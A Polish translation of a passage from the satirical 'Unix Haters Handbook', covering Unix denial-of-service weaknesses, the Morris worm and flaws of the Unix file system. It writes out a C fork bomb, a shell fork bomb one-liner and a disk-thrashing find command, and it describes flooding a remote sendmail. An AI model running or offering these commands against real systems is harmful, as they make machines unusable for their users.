Nie można ich winić ponieważ nie ma wzmianki o katalogu „system” w dokumentacji: mnóstwo rzeczy o Unixie nie jest wspomnianych w dokumentacji. Skąd mają wiedzieć że katalog zawiera spację na końcu swojej nazwy, więc nie mogą go skasować? Skąd mają wiedzieć że zawiera akta skradzione z komputera AT&T w Walla Walla? A w ogóle dlaczego mieliby się tym przejmować? Bezpieczeństwo to problem adminów, nie ich.

Odmowa obsługi

Atak typu odmowy obsługi (denial of service, DoS) powoduje że komputer jest nieużywalny dla innych, bez potrzeby uzyskiwania dostępu do przywilejów. W przeciwieństwie do innych systemów operacyjnych, Unix ma kilka znaczących zabezpieczeń przeciw tego typu atakom. Unix był stworzony w środowisku badawczym w którym było ważniejsze aby umożliwić użytkownikom używanie komputera niż przeciwdziałać ich zderzeniom dotyczącym czasu procesora albo alokacji plików.

Jeśli masz konto na komputerze Unixowym, możesz go całkowicie zatrzymać przez skompilowanie i uruchomienie następującego programu:

main()

165

Page 166: Unix Haters Handbook

{while(1){

fork();}

}

Ten program w kółko wywołuje fork() (wywołanie systemowe tworzące nowy proces). Za pierwszym obrotem pętki pojedyńczy proces tworzy swój klon. W następnym obrocie dwa procesy tworzą swoje klony, razem są cztery procesy. Milimoment później, osiem procesów jest zajętych swoim klonowaniem i tak dalej, dopóki Unix nie będzie w stanie stworzyć większej ilości procesów. W tym momencie 30 do 60 różnych procesów jest aktywnych, każdy ciągle wywołuje fork(), tylko po to, aby uzyskać komunikat że nie można utworzyć więcej procesów. Ten program to gwarantowany sposób na zapchanie każdego komputera Unixowego na amen, nieważne czy to PeCet czy Unixowy mainframe.

Nie potrzebujesz nawet kompilatora C aby uruchomić ten atak, dzięki programowalności shella Unixa. Spróbuj czegoś takiego:

#!/bin/sh$0 &exec $0

Oba te ataki są bardzo eleganckie: kiedy zostaną raz uruchomione, jedyną możliwością odzyskania kontroli nad systemem Unixowym jest wyjęcie wtyczki zasilającej ponieważ nikt nie może uruchomić komendy ps aby uzyskać numery procesów które należałoby zabić! (Nie ma już więcej procesów). Nikt nie może nawet uruchomić su aby zostać superuserem! (Znów nie ma procesów). A jeśli używasz sh nie możesz nawet uruchomić komendy kill ponieważ żeby ją uruchomić musisz móc utworzyć nowy proces. I co najlepsze, każdy użytkownik Unixa może przeprowadzić taki atak. [Teraz już nie ma tak dobrze, wypadałoby być rootem... – przyp. tłum.]

(Trzeba uczciwie dodać, że niektóre wersje Unixa mają limity procesów na użytkownika. Chociaż przeciwdziała to zablokowaniu systemu przez użytkownika z powodu braku procesów, nadal nie przeciwdziała przed praktycznym uczynieniem systemu nieużywalnym. Jest tak ponieważ Unix nie ma limitów czasu CPU na użytkownika. [Teraz niestety ma... – przyp. tłum.] Jeśli ustawimy limit procesów na użytkownika na 50, te 50 procesów szybko zapchają komputer i zatrzymają każdą użyteczną pracę w systemie.)

Zużycie zasobów nie jest monitorowane

Mieliście kiedyś komputer z Unixem który niewytłumaczalnie zwolnił? Poskarżyliście się miejscowemu guru Unixa (przyjmując że nie byliście wystarczająco zmęczeni żeby zaakceptować takie zachowanie), on wpisał kilka magicznych komend i wypuścił tajemnicze stwierdzenie typu: „Sendmail uciekł. Musiałem go zabić. Teraz wszystko powinno być w porządku.”

Sendmail uciekł? On chyba żartuje, myślisz. Niestety, nie żartuje. Unix nie zawsze czeka na ataki opisane powyżej, czasami sam rozpoczyna jeden z nich, jak strażak który podkłada ogień kiedy nie ma pożarów. Sendmail jest jednym z najgorszych winowajców: czasami, bez żadnego powodu, proces sendmaila zaczyna pożerać duże ilości czasu procesora. Jedyną możliwością niefortunnego admina jest zabicie winnego procesu i nadzieja na więcej „szczęścia” następnym razem.

Niewystarczająco ekscytujące? Cóż, dzięki projektowi systemu sieciowego Unixa, możesz sparaliżować każdy komputer Unixowy w sieci zdalnie, nawet bez logowania. Po prostu napisz program otwierający 50 połączeń do demona sendmaila na zdalnym komputerze i wysyłaj tam losowe śmieci. Użytkownicy zdalnej maszyny doświadczą nagłego,

166

Page 167: Unix Haters Handbook

niewytłumaczalnego spowolnienia. Jeśli losowe dane spowodują że zdalny sendmail padnie i zrzuci core, maszyna będzie chodzić jeszcze wolniej.

Przeciążenie dysku

Kolejny atak który powali Unixa na kolana nawet bez używania procesora dzięki prymitywnemu podejściu Unixa do aktywności dyskowej i sieciowej. To proste: uruchom cztery albo pięć zadań finda na systemie plików poprzez komendę:

% repeat 4 find / -exec wc {} \;

Każdy proces finda czyta zawartość każdego czytalnego pliku w systemie plików, co zapycha wszystkie bufory dyskowe systemu. Prawie natychmiast Unix zatrzymuje się na amen. To proste, eleganckie i nie ma efektywnej profilaktyki przeciwko użytkownikom którzy robią takie rzeczy.

Robaki rozpełzają się

W listopadzie 1988, elektroniczny pasożyt („robak”) wyłączył tysiące staci roboczych i super-minikomputerów w USA. Robak atakował poprzez szeroki teren sieci komputerowej zwanej Internetem. Wiadomości obciążały winą za tak zwanego „Robaka Internetu” jednego absolwenta Uniwersytetu Cornell, Roberta T. Morrisa. Wypuszczenie robaka było czymś pomiędzy kawałem a eksperymentem na szeroką skalę. Sąd uznał go winnym napisania programu komputerowego który „atakował” systemy w sieci i „kradł” hasła.

Ale prawdziwym przestępcą w sprawie „Robaka Internetu” nie był Robert Morris, ale lata lekceważenia zaniedbań bezpieczeństwa komputerowego przez autorów i sprzedawców systemu operacyjnego Unix. Robak Morrisa atakował nie przebiegle czy w ukryciu, ale wykorzystując dwa dobrze znane błędy Unixa – błędy które wynikają z samego projektu Unixa. Program Morrisa nie był „Robakiem Internetu”. W końcu pozostawił wszystkie maszyny w Internecie działające pod VMS, ITS, Apollo/Domain, TOPS-20 czy Genera. To był ściśle i czysto robak Unixa.

Jeden z programów sieciowych, sendmail, został rozpowszechniony przez Sun Microsystems i Digital Equipment Corporation ze specjalną komendą zwaną DEBUG. Każda osoba łącząca się z sendmailem przez sieć i wydająca komendę DEBUG mogła przekonać sendmaila do wywołania subshella.

Robak Morrisa wykorzystał także błąd w programie finger. Poprzez wysyłanie fałszywych informacji na serwer fingera, fingerd, zmuszał komputer do wykonania serii komend które ostatecznie wywoływały subshell. Gdyby serwer fingera nie mógł wywoływać subshella, robak Morrisa spowodowałby wywalenie się programu finger, ale nie powstałby łamiący bezpieczeństwo subshell.

Date: Tue, 15 Nov 88 13:30 ESTFrom: Richard Mlynarik <[email protected]>To: UNIX-HATERSSubject: The Chernobyl of operating systems

[Idę o zakład, że więcej „cennego czasu badawczego” jest „stracone” przez losowe kłótnie o robaka sendmailowego niż zostało „stracone” z powodu inwazji tego robaka. Wszystko co ci komputerowi „badacze” robią to pisanie coraz bardziej wyrafinowanych wygaszaczy ekranu albo czytanie grup dyskusyjnych].

167

Page 168: Unix Haters Handbook

Date: 11 Nov 88 15:27 GMT+0100From: Klaus Brunnstein<[email protected]>To: [email protected]: UNIX InSecurity (beyond the Virus-Worm)

[… losowe informacje bezpieczeństwa …]

Podczas gdy wirus-robak spowodował ewidentnie ograniczone szkody (zwłaszcza „zjadanie” czasu i informacji podczas 16-godzinnej nocnej zmiany i dalsze rozpraszanie aktywności w następujących dyskusjach, choć w tym samym czasie nauczanie kilku wartościowych lekcji), konsekwencje euforii Unixowej mogą odbić się na przedsiębiorstwach i ekonomii. Dla mnie jako fizyka pojawiają się analogie do dyskusji o ryzyku przewidzianym przez społeczność fizyków nuklearnych. W pewnym sensie lekko poprawię analogię Petera Neumanna do wypadków w Three Mile Island i Czarnobylu: pojawienie się wirusa-robaka może być porównane do miniaturowego wypadku w TMI (z dużym zagrożeniem ale ograniczonymi zniszczeniami), ale „Czarnobyl informatyki” jest zaprogramowany w aplikacjach ekonomicznych jeśli źle poinformowani klienci poprowadzą przemysł komputerowy do niezabezpieczonej krainy Unixa.

Klaus BrunnsteinUniversity of Hamburg, FRG

168

Page 169: Unix Haters Handbook

Rozdział 13: System plików

Jasne, że uszkadza twoje pliki,ale zobacz jaki jest szybki!

„Przechowywanie ważnych danych w systemie plików Unixa to znak odwagi.”

- Robert E. Seastrom

Tradycyjny system plików Unixa to groteskowa kombinacja któwa po latach zostałauświęcona jako „standardowa” poprzez jej szerokie używanie. Rzeczywiście, po latach indoktrynacji i prania mózgu ludzie akceptują błędy Unixa jako zaprojektowane funkcje. To jak rak przekonujący system immunologiczny ofiary że komórka rakowa jest idealna ponieważ ciało tak dobrze je tworzy.

Dawno temu w rozdziale „Witaj, nowy użytkowniku!” zaczęliśmy listę rzeczy, które są złe w systemach plików Unixa. Dla użytkowników, napisaliśmy, najbardziej oczywistymi brakami są: brak numerów wersji w Unixie i brak możliwości odzyskiwania skasowanych plików („undelete”) – te dwa błędy razem zachowują się jak sód i woda w rękach większości użytkowników.

Ale prawdziwe błędy systemu plików Unixa są dużo głębiej niż te dwie brakujące funkcje. Te błędy nie są błędami wykonania, ale ideologii. Często słyszymy że w Unixie „wszystko jest plikiem”. Tak więc nie dziwi, że wiele fundamentalnych błędów Unixa leży także w systemie plików.

Czym jest system plików?

System plików jest częścią systemu operacyjnego zarządzającą przechowywaniem plików na urządzeniach pamięci masowej jak dyskietki i dyski twarde. Każdy fragment informacji ma nazwę, tak zwaną nazwę pliku, i unikalne miejsce (mamy nadzieję) na twardym dysku. Zadaniem systemu plików jest tłumaczenie nazw typu /etc/passwd na lokalizacje na dysku typu „blok 32156 na twardym dysku #2”. Zajmuje się także odczytem i zapisem bloków. Chociaż koncepcyjnie jest oddzielnym fragmentem systemu operacyjnego, w praktyce prawie każdy system operacyjny dzisiaj używany ma swój własny system plików.

Poznaj krewnych

W ciągu ostatnich dwudziestu lat, zły Unix stworzył nie jeden, nie dwa, ale cztery różne systemy plików. Te systemy zachowywały się trochę inaczej kiedy uruchamiano ten sam program w tych samych okolicznościach.

Właściwy Unix File System (UFS), najstarszy brat przyrodni, powstał we wczesnych latach 70. w oryginalnym zespole Unixa w Bell Labs. Jego najbardziej uderzającą funkcją była dowolność nazw plików: nie nakładał żadnych ograniczeń co do znaków w nazwach plików z wyjątkiem zabronienia ukośnika („/”) i ASCII NUL. W efekcie nazwy plików mogły zawierać mnóstwo niedrukowalnych (i niemożliwych do wpisania) znaków, „funkcja” często wykorzystywana do zastosowań „zabezpieczających”. UFS ograniczał długość nazw plików do 14 znaków.

169

Page 170: Unix Haters Handbook

Berkeley Fast File System (FFS) był genetyczną przeróbką UFS zbudowaną na Uniwersytecie California w Berkeley. Nie był szybki, ale był szybszy niż UFS który zastąpił, w ten sam sposób co żółw jest szybszy od ślimaka.

W Berkeley wprowadzono różne uzasadnione i praktyczne ulepszenia do UFS-u. Co najważniejsze, FFS wyeliminował niesławne ograniczenie UFS dotyczące 14-znakowej nazwy pliku. Wprowadzono wiele nowych i niekompatybilnych funkcji. Główną z nich były linki symboliczne – wpisy w systemie plików które mogły wskazywać na inne pliki, katalogi, urządzenia albo cokolwiek. Niemniej jednak „poprawki” z Berkeley byłyby świetne gdyby zostały z powrotem zasiane w Bell Labs. Ale jak w klasycznym przykładzie „Nie Wynalezionego Tutaj”, AT&T odmówiło uznania nowego kodu z Berkeley, prowadząc do dwóch coraz bardziej rozbieżnych systemów plików z całą wzajemnie niekompatybilną semantyką plików. Przez całe lata 80., niektóre „standardowe” programy Unixowe wiedziały że nazwy plików mogą być dłuższe niż 14 znaków, inne nie. Niektóre wiedziały że „plik” w systemie może być linkiem symbolicznym, inne nie (spróbuj skopiować katalog z linkiem symbolicznym do „..” przy pomocy cp –r a zrozumiesz o co chodzi, mamy nadzieję że uda ci się zanim zabraknie miejsca na dysku). Niektóre programy działały zgodnie z oczekiwaniami. Większość nie.

Sun urodził Network File System (NFS). NFS rzekomo pozwalał różnym osieciowanym komputerom Unixowym wymieniać pliki w sposób „przejrzysty”. W NFS-ie jeden komputer jest określony jako „serwer plików”, a inny komputer jest „klientem”. Celem (cokolwiek podejrzanym) jest to, żeby pliki i hierarchie plików na serwerze mniej więcej pokazywały się na kliencie w mniej więcej ten sam sposób co na serwerze. Chociaż Apollo Computers miało sieciowy system plików który działał lepiej niż NFS kilka lat przed tym, jak NFS stał się komercyjnym produktem, NFS stał się dominującym standardem ponieważ był „niezależny od systemu operacyjnego” i Sun promował go jako „otwarty standard”. Kilka lat później, kiedy programiści próbowali stworzyć serwery i klientów NFS dla innych niż Unix systemów operacyjnych, zdali sobie sprawę jak zamknięty i zależny od systemu operacyjnego naprawedę jest NFS.

Andrew File System (AFS), najmłodsza siostra przyrodnia, to kolejny sieciowy system plików który rzekomo został zaprojektowany jako niezależny od systemu operacyjnego. Stworzony na CMU (na systemach Unixowych), AFS ma zbyt wiele Unix-izmów żeby być niezależny od systemu operacyjnego. I chociaż AFS jest technicznie wyższy od NFS, nigdy nie będzie szeroko rozpowszechniony w Unixie ponieważ NFS już został zaadoptowany przez wszystkich i stał się ustanowionym standardem. Dwa inne problemy AFS-u to to, że został stworzony na uniwersytecie (co jest podejrzane w oczach większości firm Unixowych) i jest rozprowadzanych przez zewnętrznych sprzedawców którzy zamiast rozdawać go, próbują go sprzedawać. AFS jest trudny w instalacji i wymaga reformatowania twardego dysku, więc łatwo można przewidzieć jego gorzką śmierć.

Wyobraź sobie system plików

Wyobraź sobie przez chwilę, jakie funkcje dobry system plików może dawać systemowi operacyjnemu, a szybko zobaczysz problemy z jakimi borykają się wszystkie systemy plików opisywane w tym rozdziale.

Dobry system plików narzuca tak mało struktury jak to jest potrzebne albo tak dużo struktury jak wymagają tego dane. Dopasowuje się do twoich potrzeb zamiast wymagać od ciebie przycinania swoich danych i programów do jego dziwactw. Dobry system plików daje dostęp użytkownikowi na poziomie bajtów – pozwala otworzyć plik i odczytać czy zapisać pojedyńczy bajt – ale zapewnia też wsparcie dla operacji opartych na rekordach: czytanie, zapisywanie albo blokowanie bazy danych rekord po rekordzie. (To może być jedna z

170

Page 171: Unix Haters Handbook

przyczyn dla których większość firm oferujących Unixowe bazy danych omija całkowicie system plików Unixa i implementuje swój własny).

Więcej niż proste wsparcie bazy danych, dojrzały system plików pozwala aplikacjom użytkowników przechowywać dodatkowe informacje o każdym pliku. System plików powinien przynajmniej umożliwiać przechowywanie „typu” pliku w każdym pliku. Typ określa co jest zapisane w pliku – kod programu, wykonywalny segment kodu albo obrazek. System plików powinien zapisywać długość każdego rekordu, listy kontroli dostępu (nazwy indywidualnych użytkowników którzy mają dostęp do pliku i prawa każdego użytkownika) i tak dalej. Naprawdę zaawansowane systemy plików pozwalają użytkownikom na zapisywanie komentarzy do każdego pliku.

Zaawansowane systemy plików wykorzystują funkcje nowych dysków twardych i kontrolerów. Na przykład ponieważ większość dysków może transferować do 64 KB w jednym przesłaniu, zaawansowane systemy plików przechowują pliki w ciągłych blokach tak, że mogą być odczytane i zapisane w jednej operacji. Większość plików jest zapisana na jednej ścieżce, tak że mogą być odczytane albo zmodyfikowane bez ruszania głowicą dysku (względnie zajmująca czas operacja). Mają też wsparcie dla operacji scatter/gather [zwł. dysków i kontrolerów SCSI] tak że wiele pojedyńczych odczytów czy zapisów może być połączonych i wykonanych jako jeden.

Wreszcie, zaawansowane systemy plików są zaprojektowane do wspierania dostępu sieciowego. Są od podstaw budowane z protokołem sieciowym oferującym wysoką wydajność i niezawodność. Sieciowy system plików który może tolerować pad serwera plików albo klienta i co najważniejsze nie zmienia zawartości plików ani nie uszkadza informacji w nich zapisanych jest zawansowanym systemem.

Wszystkie te funkcje zostały wbudowane i są używane w komercyjnie oferowanych systemach operacyjnych. Unix nie oferuje żadnej z nich.

UFS: Źródło wszelkiego zła

Nazwij to sobie jak chcesz. UFS zajmuje piąty krąg piekła, zakopany głęboko w kernelu Unixa. Napisany jako szybka prowizorka w Bell Labs w ciągu kilku miesięcy, dziwactwa i niedoróbki UFS-u są uświęcane jako „dobre i rozsądne”, więc aby je skrytykować, najpierw trzeba wypaczyć swój umysł aby stać się biegłym w ich terminologii.

UFS żyje w dziwnym świecie, w którym dysk twardy komputera podzielony jest na trzy różne części: i-węzły [inodes], bloki danych i listę wolnych bloków [free list]. I-węzły są wskaźnikami bloków na dysku. Przechowują wszystkie interesujące informacje o pliku – jego zawartość, właściciela, grupę, czas utworzenia, modyfikacji, czas ostatniego dostępu – wszystko oprócz nazwy pliku. Przeoczenie? Nie, umyślna decyzja projektowa.

Nazwy plików są przechowywane w specjalnym typie plików zwanych katalogami, które wskazują na i-węzły. I-węzeł może przebywać w więcej niż jednym katalogiem. Unix nazywa to „sztywnym linkiem” [hard link], który jest prawdopodobnie jedną z wielkich zalet UFS-u: możliwość pojawienia się jednego pliku w dwóch miejscach. W praktyce sztywne linki są koszmarem przy usuwaniu błędów. Kopiujesz dane do pliku i nagle – niespodzianka – plik zostaje zmieniony, ponieważ jest na sztywno zlinkowany z innym plikiem. Jakim innym plikiem? Nie ma prostego sposobu na stwierdzenie. Jakiś dwubitowy kretyn którego biuro jest trzy piętra wyżej bawi się twoimi bitami. Ale nie możesz go znaleźć.

Walka pomiędzy dobrem i złem, yin i yang, rozgrywa się na dyskach Unixowego systemu plików ponieważ administratorzy systemu muszą zdecydować zanim uruchomią system jak podzielić dysk na złe (przeznaczone na i-węzły) i dobre (używalne dla plików) miejsce. Kiedy decyzja zostanie podjęta, jest wykuta w kamieniu. System nie może handlować między dobrem a złem kiedy działa, ale jak wiemy z naszego życia, tak samo brak

171

Page 172: Unix Haters Handbook

jak i nadmiar jest niedobry. W przypadku Unixa jeśli systemowi plików zabraknie i-węzłów nie założy nowych plików na dysku, nawet jeśli jest mnóstwo miejsca dla nich! To ciągle się zdarza kiedy system plików Unixa wkłada się na dyskietki. Tak więc większość ludzi ma tendencję do ostrożności i alokuje więcej miejsca na i-węzły niż to jest potrzebne. (Oczywiście oznacza to, że brakuje im bloków dyskowych, ale mają mnóstwo wolnych i-węzłów...) Producenci Unixa w ich kontynuowanej propagandzie mającej nas przekonać że Unix jest „prosty w użyciu”, po prostu ustawiają domyślnie bardzo dużo miejsca dla i-węzłów. W efekcie następuje zmniejszenie używalnej przestrzeni dyskowej, tym samym zwiększając koszt używalnego megabajta.

UFS zarządza listą wolnych bloków danych które aktualnie nie są używane. Unix potrzebuje tej listy ponieważ nie ma wystarczająco dużo miejsca, aby śledzić wszystkie wolne bloki na dysku w każdym momencie. Niestety, utrzymanie spójności listy wolnych bloków jest bardzo kosztowne: aby utworzyć nowy plik, kernel musi znaleźć blok B na liście wolnych bloków, usunąć blok z tej listy poprzez kombinowanie ze wskaźnikami bloków przed i za blokiem B, a następnie utworzyć wpis katalogu wskazujący na i-węzeł nowo uwolnionego bloku.

Aby zapewnić, że pliki nie zostaną zagubione lub uszkodzone, operacje muszą być przeprowadzone atomowo i w porządku, w przeciwnym wypadku dane mogą być utracone jeśli komputer padnie podczas aktualizacji. (Przerywanie tego rodzaju operacji może być jak przerywanie Johnowi McEnroe [ktokolwiek by to był] podczas serwu [?]: oba przypadki kończą się zaskakującymi i nieprzewidywalnymi efektami).

Nieważne! Ludzie projektujący system plików Unixa nie myśleli że komputer będzie się często wywalał. Zamiast poświęcić czas na zaprojektowanie UFS-u żeby działał szybko i utrzymywał dysk w spójności (można to zrobić), po prostu zaprojektowali go żeby szybciej działał. W efekcie dysk twardy jest zwykle w niespójnym stanie. Tak długo jak pad nie nastąpi w jednym z tych momentów, wszystko jest w porządku. Porządne wyłączenia Unixa nie powodują problemów. Co z awariami zasilania? Co z głupowatymi technikami i innymi niekompetentnymi ludźmi odłączającymi niewłaściwy serwer w serwerowni? Co z powodziami w kanałach Chicago? Cóż, zostaje ci mokra kupa makaronu tam gdzie był twój system plików. Narzędzie które próbuje odbudować twój system plików z tych mokrych klusek to fsck, sprawdzacz spójności systemu plików [file system consistency checker]. Skanuje cały system plików szukając uszkodzeń które padający Unix typowo wyrządza na dysku. Zwykle fsck może naprawić uszkodzenia. Czasami nie może. (Jeśli masz nieregularne awarie sprzętu, problemy z terminacją SCSI i niekompletnymi transferami blokowymi, często nie może). W każdym wypadku fsck trwa 5, 10, 20 minut. W tym czasie Unix dosłownie trzyma twój komputer jako zakładnika.

Oto wiadomość przekazana do UNIX-HATERS przez MLY; oryginalnie pojawiła się w grupie dyskusyjnej comp.arch w lipcu 1990:

Date: 13 Jul 9016:58:55 GMTFrom: [email protected] (Andy Glew)2Subject: Fast Re-bootingNewsgroups: comp.arch

Kilka lat temu klient dał nam wymaganie poniżej 30 sekund czasu bootowania dla systemu operacyjnego czasu rzeczywistego. Chcieli nawet poniżej 10 sekund.

Temu DECstation 3100, z 16 MB pamięci i około 300 MB dyskiem SCSI zajęło około 8:19 (osiem minut dziewiętnaście sekund) ponowne uruchomienie po wyłączeniu. Ten czas zawiera fsck. Czas mierzyłem od wciśnięcia przełącznika do czasu kiedy mogłem się zalogować.

172

Page 173: Unix Haters Handbook

Może to dobry czas jak na Unixowe standardy, ale nie jest dobrze.Nowoczesne systemy plików używają journalingu i innych operacji na plikach

wymyślonych dla dużych baz danych aby zapewnić, że informacje przechowywane na dysku twardym komputera są spójne w każdym momencie – właśnie w przypadku jeśli zasilanie zawiedzie w nieodpowiednim momencie. IBM wbudował tą technologię w swój Journaling File System (po raz pierwszy w AIX V3 na stacji roboczej RS/6000). Journaling jest wprowadzony w nowym systemie plików USL Veritas. Czy journaling zostanie powszechnie wprowadzony w świecie Unixa? Prawdopodobnie nie. W końcu, jest niestandardowy.

[Nawiasem mówiąc, journaling podobno został wprowadzony w „nowym” systemie plików Linuxa – ext3fs. Co nie znaczy, że system z partycją na nim opartą nie nadaje się do śmieci po kilku resetach komputera. Co do systemów *BSD – nie wiem.]

Automatyczne uszkadzanie plików

Czasami fsck nie potrafi całkowicie poskładać do kupy twojego systemu plików. Typowe jest coś takiego:

Date: Wed, 29 May 91 00:42:20 EDTFrom: [email protected] (Curtis Fennell)3Subject: Mixed up mailTo: [email protected]

Life (nazwa serwera NFS i poczty w MIT AI Lab) miał najwyraźniej problemy sprzętowe które spowodowały wiele złych przydzieleń skrzynek pocztowych użytkowników. Najpierw wyglądało na to że właściciele części skrzynek zmienili się, ale później wyjaśniło się, że właściciele byli dobrzy, ale nazwy plików były złe.

Na przykład pojawił się taki problem:

-rw------- 1 bmh user 9873 May 28 18:03 kchang

ale zawartość pliku „nazwanego” kchang wskazywała tak naprawdę na użytkownika bmh. Niestety, problem nie był wszędzie taki sam i było trochę plików które nie wyglądały na połączone z żadnym właścicielem pliku. Wyprostowałem to najlepiej jak mogłem i pozamieniałem z powrotem właścicieli. (Wielu ludzi narzekało że nie mogą przeczytać ich skrzynek pocztowych. To powinno być naprawione). Przydzielałem właścicieli poprzez używanie grep-a aby znaleźć linie nagłówka „TO:”; nie grzebałem się w zawartości prywatnych listów.

Proszę poświęcić chwilę na próbę sprawdzenia poczty.Nie mogłem przydzielić pliku nazwanego „sam”. Powinien być przydzielony

do sae ale myślę że temu użytkownikowi przydzieliłem prawdziwą skrzynkę. Pozostawiłem ten plik w /com/mail/strange-sam. Użytkownik otrzymuje pocztę wysyłaną do bizzi, motor-control, cbip-meet, whitaker-users, itd.

Zaraz po rozpoczęciu pracy nad tym problemem, Life padł i partycja zawierająca /com/mail nie przeszła sprawdzania systemu plików. Kilka skrzynek zostało skasowanych podczas próby resetu. Jonathan ma listę skasowanych plików. Proszę z nim rozmawiać jeśli straciliście dane.

Proszę ze mną rozmawiać jeśli chcecie wyjaśnień co do problemu. Poniżej zamieszczam listę 60 użytkowników których skrzynki są w największym niebezpieczeństwie.

Powodzenia.

173

Page 174: Unix Haters Handbook

Rozmawialiśmy z aktualnym administratorem systemu w MIT AI Lab o tym problemie. Powiedział nam:

Date: Mon, 4 Oct 93 07:27:33 EDTFrom: [email protected] (Bruce Walton)Subject: UNIX-HATERSTo: [email protected] (Simson L. Garfinkel)

Cześć Simson,

pamiętam dobrze ten epizod; byłem wtedy neofitą w laboratorium. Faktycznie zdarzyło się to więcej niż raz (chciałbym o tym zapomnieć! :-)) Life wyrzucał błędy systemu plików i panikował, a po resecie był partycja z pocztą była beznadziejnie porozbijana. Napisaliśmy kilka skryptów szukających linii „To:” w plikach i próbowaliśmy dopasować użytkowników do plików. To było paskudne, ponieważ nikt nie mógł być pewien że dostaje całą swoją pocztę. Problem znikł kiedy kupiliśmy bardziej niezawodny sprzęt...

Brak typów plików

Dla UFS-u i wszystkich Unixo-pochodnych systemów plików pliki sa niczym więcej jak długimi sekwencjami bajtów. (Worki bajtów, jak głosi mitologia, chociaż technicznie nie są to worki, ale strumienie). Programy mogą dowolnie interpretować te bajty jak chcą. Aby to ułatwić, Unix nie przechowuje informacji w każdym pliku. Zamiast tego Unix zmusza użytkowników do kodowania tych informacji w nazwach plików! Pliki kończące się na „.c” to pliki źródłowe C, pliki kończące się na „.o” to pliki obiektów i tak dalej. To łatwo pozwala spalić swoje palce przy przemianowywaniu plików.

Aby rozwiązać ten problem, niektóre pliki Unixowe mają „magiczne numery” zawarte w kilku pierwszych bajtach pliku. Tylko niektóre pliki – skrypty shellowe, pliki „.o” i programy wykonywalne mają magiczne numery. Co dzieje się jeśli „typ” pliku (określany przez rozszerzenie) i jego magiczny numer nie zgadzają się? To zależy od konkretnego programu który uruchamiasz. Loader po prostu będzie narzekał i wyjdzie. Rodzina funkcji kernela exec() z drugiej strony może wystartować kopię /bin/sh i dać twój plik shellowi jako wejście.

Brak typów plików stał się tak uświęcony w mitologii Unixa i akademickiej nauce komputerowej w ogólności że kilka osób może sobie wyobrazić że mogłyby być przydatne. Kilka osób, z wyjątkiem użytkowników Macintoshy, którzy znają i cieszą się z typów plików od 1984.

Brak długości rekordów

Pomimo liczby baz danych przechowywanych na systemach Unixowych, system plików Unixa z powodu projektu nie ma wsparcia dla zapisywania długości rekordu w pliku. Po raz kolejny, zapisywanie i zarządzanie długością rekordów jest pozostawione dla programisty. Co się stanie jeśli się pomylisz? Znowu, to zależy od programu jakiego używasz. Niektóre programy się zorientują. Większość nie. To oznacza że jeśli masz program zapisujący w pliku 100-bajtowe rekordy, możesz odczytać je używając programu spodziewającego się 200-bajtowych rekordów, i nie zauważy różnicy. Być może...

174

Page 175: Unix Haters Handbook

Wszystkie wewnętrzne bazy danych Unixa – plik haseł, plik grup, plik aliasów pocztowych – są przechowywane jako pliki tekstowe. Zwykle muszą być przetworzone od początku do końca kiedy następuje do nich dostęp. „Rekordami” stają się linie zakończone znakami wysuwu linii (LF). Chociaż ta metoda jest adekwatna kiedy każda z baz danych ma mniej niż 20 albo 30 linii, kiedy Unix przeszedł do „realnego świata” ludzie zaczęli próbować wprowadzać do tych plików setki i tysiące linii. Efekt? Natychmiastowe wąskie gardło przy próbie odczytu systemowych baz danych. Mówimy o prawdziwym spowolnieniu. Podwojenie liczby użytkowników zmniejsza wydajność o połowę. Prawdziwy system nie powinien się przejmować dodawaniem nowych użytkowników. Nie mniej niż cztery niekompatybilne wzajemnie obejścia zostały wymyślone aby cache-ować informacje w /etc/password, /etc/group i inne krytyczne bazy danych. Wszystkie mają swoje wady. Dlatego potrzebujesz szybkiego komputera do uruchomienia Unixa.

Blokowanie plików i rekordów

„Blokowanie rekordów” nie jest drogą do trzymania UKS z daleka od twoich dokumentów finansowych, ale techniką trzymania ich z daleka w momencie kiedy preparujesz te dokumenty. UKS może zobaczyć tylko czyste papiery, albo zorientują się co się naprawdę dzieje. Komputery też się tak zachowują. Dwóch albo więcej użytkowników może chcieć dostępu do tych samych rekordów, ale każdy chce prywatnego dostępu podczas gdy inni są trzymani z daleka. Chociaż Unix nie potrafi bezpośrednio blokować rekordów, pozwala to zrobić. Rzeczywiście, wielu ludzi jest zdziwionych że współczesny Unix ma nie jeden, nie dwa ale trzy zupełnie różne systemy blokowania rekordów.

We wczesnych dniach, Unix w ogóle nie miał blokowania rekordów. Blokowanie łamało ducha „żyj wolny i umrzyj” tego koncepcyjnie czystego systemu operacyjnego. Ritchie myślał że blokowanie rekordów nie jest czymś co powinien wymuszać system operacyjny – to zadanie dla programów użytkownika. Więc kiedy hackerzy Unixowi wreszcie zdali sobie sprawę że blokowanie plików powinno być robione i zarządzane, stworzyli „blokadę pliku”.

Potrzebujesz „atomowych operacji” aby zbudować system blokowania. Są to operacje które nie mogą być przerwane w trakcie. Programy pod Unixem są jak rodzeństwo walczące o zabawkę. W tym przypadku zabawka nazywa się „CPU” i ciągle toczą się o nią walki. Sztuczką jest nie oddać CPU w krępujących momentach. Atomowa operacja gwarantuje zakończenie operacji bez groźby, że twój głupi brat zabierze ci CPU.

Unix ma prowizorycznie zmontowane rozwiązanie zwane blokadą pliku, którego głównym założeniem jest to, że utworzenie pliku jest atomową operacją; plik nie może być utworzony kiedy już tam jest. Kiedy program chce zmienić krytyczną bazę danych nazwaną frajerzy, program najpierw tworzy plik blokady zwany frajerzy.lck. Jeśli programowi uda się utworzyć plik, dojdzie do wniosku że zablokował plik i może się bawić plikiem frajerzy. Kiedy skończy, skasuje plik frajerzy.lck. Inne programy chcące zmodyfikować plik frajerzy w tym samym czasie nie będą mogły utworzyć pliku frajerzy.lck. Zamiast tego wykonają wywołanie sleep – poczekają parę sekund – i znów spróbują.

To „rozwiązanie” ma natychmiastową wadę: procesy marnują czas CPU próbując ciągle utworzyć plik blokady. Bardziej poważny problem powstaje kiedy system (albo program tworzący plik blokady) wywali się ponieważ plik blokady przeżyje proces który go utworzył i plik pozostanie zablokowany na zawsze. Wykombinowano rozwiązanie – w pliku blokady zapisuje się ID procesu tworzącego plik blokady. Kiedy program znajduje plik blokady, szuka w tablicy procesów procesu który utworzył plik blokady. Jeśli proces nie został znaleziony, oznacza to że proces umarł i plik blokady jest kasowany. Program znów

175

Page 176: Unix Haters Handbook

próbuje uzyskać blokadę. Kolejna prowizorka, kolejny powód dla którego Unix jest tak powolny.

